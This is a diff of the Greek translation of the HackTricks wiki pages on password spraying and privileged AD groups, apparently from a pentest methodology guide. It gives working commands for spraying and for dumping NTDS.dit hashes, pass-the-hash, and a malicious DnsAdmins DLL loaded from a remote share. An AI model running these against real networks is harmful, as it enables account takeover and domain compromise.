ΛΕΙΤΟΥΡΓΕΙ ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -60,16 +75,16 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123 ![](<../../images/image (745).png>) -- Χρησιμοποιώντας το **rpcclient**: +- Χρησιμοποιώντας **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### Από Windows +#### Από τα Windows -- Με [Rubeus](https://github.com/Zer1t0/Rubeus) έκδοση που περιλαμβάνει το brute module: +- Με την έκδοση του [Rubeus](https://github.com/Zer1t0/Rubeus) που περιλαμβάνει το brute module: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +92,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί να δημιουργήσει χρήστες από το domain από προεπιλογή και θα ανακτήσει την πολιτική κωδικών από το domain και θα περιορίσει τις προσπάθειες ανάλογα με αυτή): +- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί να δημιουργήσει users από το domain από προεπιλογή και θα πάρει το password policy από το domain και θα περιορίσει τις προσπάθειες σύμφωνα με αυτό): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,12 +100,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -### Εντοπισμός και Κατάληψη λογαριασμών "Password must change at next logon" (SAMR) +### Εντοπισμός και Κατάληψη "Password must change at next logon" Accounts (SAMR) -Μία τεχνική χαμηλού θορύβου είναι να κάνετε spray ένα benign/empty password και να εντοπίσετε λογαριασμούς που επιστρέφουν STATUS_PASSWORD_MUST_CHANGE, το οποίο υποδεικνύει ότι το password εξαναγκάστηκε να λήξει και μπορεί να αλλάξει χωρίς να γνωρίζετε το παλιό. +Μια τεχνική με χαμηλό θόρυβο είναι να κάνετε spray ένα benign/empty password και να εντοπίσετε λογαριασμούς που επιστρέφουν STATUS_PASSWORD_MUST_CHANGE, κάτι που υποδεικνύει ότι ο κωδικός έχει εξαναγκαστικά λήξει και μπορεί να αλλάξει χωρίς να γνωρίζετε τον παλιό. Workflow: -- Εντοπίστε χρήστες (RID brute via SAMR) για να δημιουργήσετε τη λίστα στόχων: +- Καταγράψτε χρήστες (RID brute via SAMR) για να δημιουργήσετε τη λίστα στόχων: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +114,12 @@ Workflow: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spray an empty password και συνεχίστε με τα hits για να αποκτήσετε πρόσβαση σε λογαριασμούς που πρέπει να αλλάξουν στο next logon: +- Spray ένα κενό password και συνέχισε μετά από επιτυχίες για να αποκτήσεις λογαριασμούς που πρέπει να αλλάξουν κατά την επόμενη σύνδεση: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Για κάθε hit, αλλάξτε τον κωδικό μέσω SAMR με το NetExec’s module (δεν απαιτείται ο παλιός κωδικός όταν έχει οριστεί το "must change"): +- Για κάθε hit, αλλάξτε το password μέσω SAMR με το NetExec’s module (δεν απαιτείται ο old password όταν είναι ρυθμισμένο το "must change"): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -113,25 +128,25 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" # Validate and retrieve domain password policy with the new creds netexec smb -u -p "$NEWPASS" --pass-pol ``` -Λειτουργικές σημειώσεις: -- Βεβαιωθείτε ότι το ρολόι του host σας είναι συγχρονισμένο με τον DC πριν από τις Kerberos-based operations: `sudo ntpdate `. -- Ένα [+] χωρίς (Pwn3d!) σε ορισμένα modules (π.χ., RDP/WinRM) σημαίνει ότι τα creds είναι έγκυρα αλλά ο λογαριασμός δεν έχει δικαιώματα διαδραστικής σύνδεσης. +Σημειώσεις λειτουργίας: +- Βεβαιωθείτε ότι το ρολόι του host σας είναι συγχρονισμένο με τον DC πριν από Kerberos-based operations: `sudo ntpdate `. +- Ένα [+] χωρίς (Pwn3d!) σε ορισμένα modules (π.χ., RDP/WinRM) σημαίνει ότι τα creds είναι έγκυρα αλλά ο λογαριασμός στερείται δικαιωμάτων interactive logon. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) +### Kerberos pre-auth spraying με LDAP στοχοποίηση και PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying μειώνει τον θόρυβο σε σχέση με τις προσπάθειες bind SMB/NTLM/LDAP και συμμορφώνεται καλύτερα με τις πολιτικές lockout του AD. Το SpearSpray συνδυάζει LDAP-driven targeting, έναν pattern engine και ευαισθητοποίηση πολιτικών (domain policy + PSOs + badPwdCount buffer) για να πραγματοποιεί spray με ακρίβεια και ασφάλεια. Μπορεί επίσης να επισημάνει παραβιασμένους principals στο Neo4j για pathing του BloodHound. +Kerberos pre-auth–based spraying μειώνει τον θόρυβο σε σχέση με τις SMB/NTLM/LDAP bind attempts και ευθυγραμμίζεται καλύτερα με τις AD lockout πολιτικές. Το SpearSpray συνδυάζει LDAP-driven στοχοποίηση, έναν pattern engine και policy awareness (domain policy + PSOs + badPwdCount buffer) για να πραγματοποιεί spraying με ακρίβεια και ασφάλεια. Μπορεί επίσης να ετικετοποιήσει compromised principals στο Neo4j για BloodHound pathing. Key ideas: -- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. -- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users. -- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). -- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. -- Throughput control with threads, jitter, and max requests per second. -- Optional Neo4j integration to mark owned users for BloodHound. +- LDAP user discovery με paging και υποστήριξη LDAPS, προαιρετικά χρησιμοποιώντας custom LDAP filters. +- Domain lockout policy + PSO-aware filtering ώστε να αφήνει διαμορφώσιμο attempt buffer (threshold) και να αποφεύγει το κλείδωμα χρηστών. +- Kerberos pre-auth validation χρησιμοποιώντας fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). +- Pattern-based, per-user password generation χρησιμοποιώντας μεταβλητές όπως ονόματα και temporal values που προκύπτουν από το pwdLastSet κάθε χρήστη. +- Throughput control με threads, jitter, και max requests per second. +- Προαιρετική ενσωμάτωση Neo4j για να σηματοδοτεί owned users για BloodHound. Basic usage and discovery: ```bash @@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Στόχευση και έλεγχος προτύπων: +Στόχευση και έλεγχος μοτίβων: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Stealth και έλεγχοι ασφάλειας: +Έλεγχοι Stealth και ασφάλειας: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -174,29 +189,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local {samaccountname} {extra}{separator}{year}{suffix} ``` -Available variables include: +Διαθέσιμες μεταβλητές περιλαμβάνουν: - {name}, {samaccountname} -- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Composition helpers and org token: {separator}, {suffix}, {extra} +- Χρονικά από το pwdLastSet κάθε χρήστη (ή whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Βοηθήματα σύνθεσης και org token: {separator}, {suffix}, {extra} -Operational notes: -- Προτιμήστε το query στον PDC-emulator με -dc για να διαβάσετε το πιο αξιόπιστο badPwdCount και πληροφορίες σχετικές με πολιτικές. -- Οι επαναφορές του badPwdCount ενεργοποιούνται στην επόμενη προσπάθεια μετά το παράθυρο παρατήρησης· χρησιμοποιήστε όριο και χρονισμό για να παραμείνετε ασφαλείς. -- Οι προσπάθειες pre-auth του Kerberos εμφανίζονται ως 4768/4771 στην DC telemetry· χρησιμοποιήστε jitter και rate-limiting για να περάσετε απαρατήρητοι. +Λειτουργικές σημειώσεις: +- Προτιμήστε να ερωτάτε τον PDC-emulator με -dc για να διαβάσετε τις πιο αυθεντικές τιμές badPwdCount και πληροφορίες σχετικές με policy. +- Οι επαναρυθμίσεις του badPwdCount ενεργοποιούνται στην επόμενη προσπάθεια μετά το observation window· χρησιμοποιήστε threshold και timing για να παραμείνετε ασφαλείς. +- Οι Kerberos pre-auth attempts εμφανίζονται ως 4768/4771 στην DC telemetry· χρησιμοποιήστε jitter και rate-limiting για να blend in. -> Tip: Το προεπιλεγμένο LDAP page size του SpearSpray είναι 200· προσαρμόστε με -lps αν χρειάζεται. +> Συμβουλή: Το default LDAP page size του SpearSpray είναι 200· ρυθμίστε με -lps όπως απαιτείται. ## Outlook Web Access -Υπάρχουν πολλαπλά εργαλεία για p**assword spraying outlook**. +Υπάρχουν πολλά εργαλεία για p**assword spraying outlook**. -- Με [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- με [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- Με [Ruler](https://github.com/sensepost/ruler) (αξιόπιστο!) -- Με [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- Με [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) +- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- With [Ruler](https://github.com/sensepost/ruler) (reliable!) +- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και έναν κωδικό / μια μικρή λίστα κωδικών για να κάνετε spray. +Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε λίστα χρηστών και ένα password / μια μικρή λίστα με passwords για να spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -227,6 +242,7 @@ Operational notes: - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) - [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 6416114b5..0b09ded1e 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -1,8 +1,8 @@ -# Privileged Groups +# Προνομιακές Ομάδες {{#include ../../banners/hacktricks-training.md}} -## Well Known groups with administration privileges +## Γνωστές ομάδες με προνόμια διαχείρισης - **Administrators** - **Domain Admins** @@ -10,66 +10,66 @@ ## Account Operators -Αυτή η ομάδα έχει την εξουσία να δημιουργεί λογαριασμούς και ομάδες που δεν είναι διαχειριστές στο domain. Επιπλέον, επιτρέπει την τοπική σύνδεση στον Domain Controller (DC). +Αυτή η ομάδα έχει το δικαίωμα να δημιουργεί λογαριασμούς και ομάδες που δεν είναι administrators στο domain. Επιπλέον, της επιτρέπει τοπική σύνδεση στον Domain Controller (DC). -Για να προσδιοριστούν τα μέλη αυτής της ομάδας, εκτελείται η εξής εντολή: +Για να εντοπιστούν τα μέλη αυτής της ομάδας, εκτελείται η ακόλουθη εντολή: ```bash Get-NetGroupMember -Identity "Account Operators" -Recurse ``` -Η προσθήκη νέων χρηστών επιτρέπεται, καθώς και η τοπική σύνδεση στο DC01. +Επιτρέπεται η προσθήκη νέων χρηστών, καθώς και local login στο DC. -## AdminSDHolder group +## AdminSDHolder ομάδα -Η Λίστα Ελέγχου Πρόσβασης (ACL) της ομάδας **AdminSDHolder** είναι κρίσιμη καθώς καθορίζει τα δικαιώματα για όλες τις "προστατευμένες ομάδες" εντός του Active Directory, συμπεριλαμβανομένων των ομάδων υψηλών προνομίων. Αυτός ο μηχανισμός διασφαλίζει την ασφάλεια αυτών των ομάδων αποτρέποντας μη εξουσιοδοτημένες τροποποιήσεις. +Ο Κατάλογος Ελέγχου Πρόσβασης (ACL) της ομάδας **AdminSDHolder** είναι κρίσιμος, καθώς ορίζει δικαιώματα για όλες τις "προστατευμένες ομάδες" στο Active Directory, συμπεριλαμβανομένων ομάδων με υψηλά προνόμια. Αυτός ο μηχανισμός διασφαλίζει την ασφάλεια αυτών των ομάδων αποτρέποντας μη εξουσιοδοτημένες τροποποιήσεις. -Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό τροποποιώντας την ACL της ομάδας **AdminSDHolder**, παρέχοντας πλήρη δικαιώματα σε έναν τυπικό χρήστη. Αυτό θα έδινε ουσιαστικά σε αυτόν τον χρήστη πλήρη έλεγχο σε όλες τις προστατευμένες ομάδες. Εάν τα δικαιώματα αυτού του χρήστη τροποποιηθούν ή αφαιρεθούν, θα αποκατασταθούν αυτόματα εντός μιας ώρας λόγω του σχεδιασμού του συστήματος. +Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί τροποποιώντας το ACL της ομάδας **AdminSDHolder**, παραχωρώντας πλήρη δικαιώματα σε έναν τυπικό χρήστη. Αυτό θα έδινε ουσιαστικά σε αυτόν τον χρήστη πλήρη έλεγχο σε όλες τις προστατευμένες ομάδες. Εάν τα δικαιώματα αυτού του χρήστη αλλαχθούν ή αφαιρεθούν, θα αποκαθίστανται αυτόματα εντός μίας ώρας λόγω του σχεδιασμού του συστήματος. -Οι εντολές για την ανασκόπηση των μελών και την τροποποίηση των δικαιωμάτων περιλαμβάνουν: +Οι εντολές για την προβολή των μελών και την τροποποίηση των δικαιωμάτων περιλαμβάνουν: ```bash Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} ``` -Ένα σενάριο είναι διαθέσιμο για να επιταχύνει τη διαδικασία αποκατάστασης: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). +Διατίθεται ένα script για να επιταχύνει τη διαδικασία επαναφοράς: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). -Για περισσότερες λεπτομέρειες, επισκεφθείτε το [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). +Για περισσότερες λεπτομέρειες, επισκεφθείτε [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). ## AD Recycle Bin -Η συμμετοχή σε αυτή την ομάδα επιτρέπει την ανάγνωση διαγραμμένων αντικειμένων Active Directory, τα οποία μπορεί να αποκαλύψουν ευαίσθητες πληροφορίες: +Η ιδιότητα μέλους σε αυτήν την ομάδα επιτρέπει την ανάγνωση διαγραμμένων αντικειμένων του Active Directory, τα οποία μπορούν να αποκαλύψουν ευαίσθητες πληροφορίες: ```bash Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` -### Πρόσβαση στον Ελεγκτή Τομέα +### Πρόσβαση στον DC -Η πρόσβαση σε αρχεία στον DC είναι περιορισμένη εκτός αν ο χρήστης είναι μέλος της ομάδας `Server Operators`, η οποία αλλάζει το επίπεδο πρόσβασης. +Η πρόσβαση σε αρχεία στον DC περιορίζεται εκτός αν ο χρήστης είναι μέλος της ομάδας `Server Operators`, που αλλάζει το επίπεδο πρόσβασης. -### Κλιμάκωση Δικαιωμάτων +### Αναβάθμιση προνομίων -Χρησιμοποιώντας το `PsService` ή το `sc` από το Sysinternals, μπορεί κανείς να επιθεωρήσει και να τροποποιήσει τις άδειες υπηρεσιών. Η ομάδα `Server Operators`, για παράδειγμα, έχει πλήρη έλεγχο σε ορισμένες υπηρεσίες, επιτρέποντας την εκτέλεση αυθαίρετων εντολών και κλιμάκωση δικαιωμάτων: +Χρησιμοποιώντας το `PsService` ή το `sc` από το Sysinternals, μπορεί κανείς να ελέγξει και να τροποποιήσει τα δικαιώματα υπηρεσιών. Η ομάδα `Server Operators`, για παράδειγμα, έχει πλήρη έλεγχο πάνω σε ορισμένες υπηρεσίες, επιτρέποντας την εκτέλεση αυθαίρετων εντολών και την αναβάθμιση προνομίων: ```cmd C:\> .\PsService.exe security AppReadiness ``` -Αυτή η εντολή αποκαλύπτει ότι οι `Server Operators` έχουν πλήρη πρόσβαση, επιτρέποντας τη χειραγώγηση υπηρεσιών για ανυψωμένα δικαιώματα. +Αυτή η εντολή αποκαλύπτει ότι οι `Server Operators` έχουν πλήρη πρόσβαση, επιτρέποντας την τροποποίηση υπηρεσιών για απόκτηση αυξημένων προνομίων. ## Backup Operators -Η συμμετοχή στην ομάδα `Backup Operators` παρέχει πρόσβαση στο σύστημα αρχείων `DC01` λόγω των δικαιωμάτων `SeBackup` και `SeRestore`. Αυτά τα δικαιώματα επιτρέπουν τη διαδρομή φακέλων, την καταγραφή και τις δυνατότητες αντιγραφής αρχείων, ακόμη και χωρίς ρητές άδειες, χρησιμοποιώντας τη σημαία `FILE_FLAG_BACKUP_SEMANTICS`. Είναι απαραίτητο να χρησιμοποιηθούν συγκεκριμένα σενάρια για αυτή τη διαδικασία. +Η συμμετοχή στην ομάδα `Backup Operators` παρέχει πρόσβαση στο σύστημα αρχείων `DC01` λόγω των προνομίων `SeBackup` και `SeRestore`. Αυτά τα προνόμια επιτρέπουν περιήγηση φακέλων, εμφάνιση περιεχομένων και δυνατότητα αντιγραφής αρχείων, ακόμη και χωρίς ρητές άδειες, χρησιμοποιώντας τη σημαία `FILE_FLAG_BACKUP_SEMANTICS`. Απαιτείται η χρήση ειδικών scripts για αυτή τη διαδικασία. -Για να καταγράψετε τα μέλη της ομάδας, εκτελέστε: +Για να απαριθμήσετε τα μέλη της ομάδας, εκτελέστε: ```bash Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` -### Τοπική Επίθεση +### Local Attack -Για να εκμεταλλευτείτε αυτά τα προνόμια τοπικά, χρησιμοποιούνται τα εξής βήματα: +Για να αξιοποιηθούν αυτά τα προνόμια τοπικά, εφαρμόζονται τα ακόλουθα βήματα: -1. Εισαγωγή απαραίτητων βιβλιοθηκών: +1. Εισαγωγή των απαραίτητων βιβλιοθηκών: ```bash Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll ``` -2. Ενεργοποιήστε και επαληθεύστε το `SeBackupPrivilege`: +2. Ενεργοποιήστε και επαληθεύστε `SeBackupPrivilege`: ```bash Set-SeBackupPrivilege Get-SeBackupPrivilege @@ -81,11 +81,11 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Over ``` ### AD Attack -Η άμεση πρόσβαση στο σύστημα αρχείων του Domain Controller επιτρέπει την κλοπή της βάσης δεδομένων `NTDS.dit`, η οποία περιέχει όλους τους NTLM hashes για τους χρήστες και τους υπολογιστές του τομέα. +Η άμεση πρόσβαση στο σύστημα αρχείων του Domain Controller επιτρέπει την κλοπή της βάσης δεδομένων `NTDS.dit`, η οποία περιέχει όλα τα NTLM hashes των χρηστών και των υπολογιστών του domain. -#### Using diskshadow.exe +#### Χρήση diskshadow.exe -1. Δημιουργήστε μια σκιαγραφία του δίσκου `C`: +1. Δημιουργήστε ένα shadow copy του `C` drive: ```cmd diskshadow.exe set verbose on @@ -98,27 +98,35 @@ expose %cdrive% F: end backup exit ``` -2. Αντιγράψτε το `NTDS.dit` από την αντίγραφο σκιάς: +2. Αντιγράψτε `NTDS.dit` από το shadow copy: ```cmd Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` -Εναλλακτικά, χρησιμοποιήστε `robocopy` για την αντιγραφή αρχείων: +Εναλλακτικά, χρησιμοποιήστε `robocopy` για αντιγραφή αρχείων: ```cmd robocopy /B F:\Windows\NTDS .\ntds ntds.dit ``` -3. Εξαγωγή `SYSTEM` και `SAM` για την ανάκτηση hash: +3. Εξαγάγετε τα `SYSTEM` και `SAM` για ανάκτηση hash: ```cmd reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SAM SAM.SAV ``` -4. Ανάκτηση όλων των κατακερματισμών από το `NTDS.dit`: +4. Ανάκτηση όλων των hashes από `NTDS.dit`: ```shell-session secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL ``` -#### Χρησιμοποιώντας το wbadmin.exe +5. Μετά την εξαγωγή: Pass-the-Hash to DA +```bash +# Use the recovered Administrator NT hash to authenticate without the cleartext password +netexec winrm -u Administrator -H -x "whoami" -1. Ρυθμίστε το σύστημα αρχείων NTFS για τον διακομιστή SMB στη μηχανή του επιτιθέμενου και αποθηκεύστε τα διαπιστευτήρια SMB στη μηχανή-στόχο. -2. Χρησιμοποιήστε το `wbadmin.exe` για την εφεδρική αντιγραφή του συστήματος και την εξαγωγή του `NTDS.dit`: +# Or execute via SMB using an exec method +netexec smb -u Administrator -H --exec-method smbexec -x cmd +``` +#### Χρήση wbadmin.exe + +1. Ρυθμίστε σύστημα αρχείων NTFS για SMB server στο attacker machine και cache τα SMB credentials στο target machine. +2. Χρησιμοποιήστε `wbadmin.exe` για backup του συστήματος και εξαγωγή του `NTDS.dit`: ```cmd net use X: \\\sharename /user:smbuser password echo "Y" | wbadmin start backup -backuptarget:\\\sharename -include:c:\windows\ntds @@ -126,23 +134,29 @@ wbadmin get versions echo "Y" | wbadmin start recovery -version: -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl ``` -Για μια πρακτική επίδειξη, δείτε το [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). +Για μια πρακτική επίδειξη, δείτε [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). ## DnsAdmins -Τα μέλη της ομάδας **DnsAdmins** μπορούν να εκμεταλλευτούν τα προνόμιά τους για να φορτώσουν μια αυθαίρετη DLL με προνόμια SYSTEM σε έναν διακομιστή DNS, που συχνά φιλοξενείται σε Domain Controllers. Αυτή η δυνατότητα επιτρέπει σημαντική δυνατότητα εκμετάλλευσης. +Τα μέλη της ομάδας **DnsAdmins** μπορούν να εκμεταλλευτούν τα δικαιώματά τους για να φορτώσουν μια αυθαίρετη DLL με προνόμια SYSTEM σε έναν DNS server, που συχνά φιλοξενείται σε Domain Controllers. Αυτή η δυνατότητα προσφέρει σημαντικό δυναμικό εκμετάλλευσης. -Για να καταγράψετε τα μέλη της ομάδας DnsAdmins, χρησιμοποιήστε: +Για να εμφανίσετε τα μέλη της ομάδας DnsAdmins, χρησιμοποιήστε: ```bash Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` -### Εκτέλεση αυθαίρετης DLL +### Execute arbitrary DLL (CVE‑2021‑40469) -Τα μέλη μπορούν να κάνουν τον διακομιστή DNS να φορτώσει μια αυθαίρετη DLL (είτε τοπικά είτε από μια απομακρυσμένη κοινή χρήση) χρησιμοποιώντας εντολές όπως: +> [!NOTE] +> Αυτή η ευπάθεια επιτρέπει την εκτέλεση αυθαίρετου κώδικα με προνόμια SYSTEM στην υπηρεσία DNS (συνήθως εντός των DCs). Το ζήτημα αυτό διορθώθηκε το 2021. + +Τα μέλη μπορούν να αναγκάσουν τον διακομιστή DNS να φορτώσει μια αυθαίρετη DLL (είτε τοπικά είτε από ένα απομακρυσμένο share) χρησιμοποιώντας εντολές όπως: ```bash dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: + +# If dnscmd is not installed run from aprivileged PowerShell session: +Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools ``` ```c @@ -158,23 +172,23 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma // Generate DLL with msfvenom msfvenom -p windows/x64/exec cmd='net group "domain admins" /add /domain' -f dll -o adduser.dll ``` -Η επανεκκίνηση της υπηρεσίας DNS (η οποία μπορεί να απαιτεί επιπλέον δικαιώματα) είναι απαραίτητη για να φορτωθεί το DLL: +Η επανεκκίνηση της υπηρεσίας DNS (η οποία μπορεί να απαιτεί επιπλέον δικαιώματα) είναι απαραίτητη για τη φόρτωση της DLL: ```csharp sc.exe \\dc01 stop dns sc.exe \\dc01 start dns ``` -Για περισσότερες λεπτομέρειες σχετικά με αυτό το επιθετικό διανύσμα, ανατρέξτε στο ired.team. +Για περισσότερες λεπτομέρειες σχετικά με αυτό το διάνυσμα επίθεσης, ανατρέξτε στο ired.team. #### Mimilib.dll -Είναι επίσης εφικτό να χρησιμοποιηθεί το mimilib.dll για εκτέλεση εντολών, τροποποιώντας το για να εκτελεί συγκεκριμένες εντολές ή αντίστροφες θήκες. [Δείτε αυτή την ανάρτηση](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) για περισσότερες πληροφορίες. +Είναι επίσης εφικτό να χρησιμοποιηθεί η mimilib.dll για εκτέλεση εντολών, τροποποιώντας την ώστε να εκτελεί συγκεκριμένες εντολές ή reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) για περισσότερες πληροφορίες. -### WPAD Record για MitM +### WPAD Record for MitM -Οι DnsAdmins μπορούν να χειριστούν τα DNS records για να εκτελέσουν επιθέσεις Man-in-the-Middle (MitM) δημιουργώντας ένα WPAD record μετά την απενεργοποίηση της παγκόσμιας λίστας αποκλεισμού ερωτημάτων. Εργαλεία όπως το Responder ή το Inveigh μπορούν να χρησιμοποιηθούν για spoofing και καταγραφή δικτυακής κίνησης. +Οι DnsAdmins μπορούν να χειραγωγήσουν καταχωρήσεις DNS για να πραγματοποιήσουν επιθέσεις Man-in-the-Middle (MitM) δημιουργώντας μια καταχώρηση WPAD μετά την απενεργοποίηση της global query block list. Εργαλεία όπως Responder ή Inveigh μπορούν να χρησιμοποιηθούν για spoofing και καταγραφή της δικτυακής κίνησης. ### Event Log Readers -Τα μέλη μπορούν να έχουν πρόσβαση σε αρχεία καταγραφής γεγονότων, ενδεχομένως βρίσκοντας ευαίσθητες πληροφορίες όπως κωδικούς πρόσβασης σε απλή μορφή ή λεπτομέρειες εκτέλεσης εντολών: +Τα μέλη μπορούν να έχουν πρόσβαση στα αρχεία καταγραφής συμβάντων, ενδεχομένως βρίσκοντας ευαίσθητες πληροφορίες όπως plaintext passwords ή λεπτομέρειες εκτέλεσης εντολών: ```bash # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse @@ -182,62 +196,66 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va ``` ## Exchange Windows Permissions -Αυτή η ομάδα μπορεί να τροποποιήσει τα DACLs στο αντικείμενο τομέα, πιθανώς παρέχοντας δικαιώματα DCSync. Οι τεχνικές για την κλιμάκωση δικαιωμάτων που εκμεταλλεύονται αυτή την ομάδα περιγράφονται στο Exchange-AD-Privesc GitHub repo. +Αυτή η ομάδα μπορεί να τροποποιήσει τα DACLs στο domain object, ενδεχομένως χορηγώντας προνόμια DCSync. Τεχνικές για privilege escalation που εκμεταλλεύονται αυτή την ομάδα περιγράφονται στο Exchange-AD-Privesc GitHub repo. ```bash # List members Get-NetGroupMember 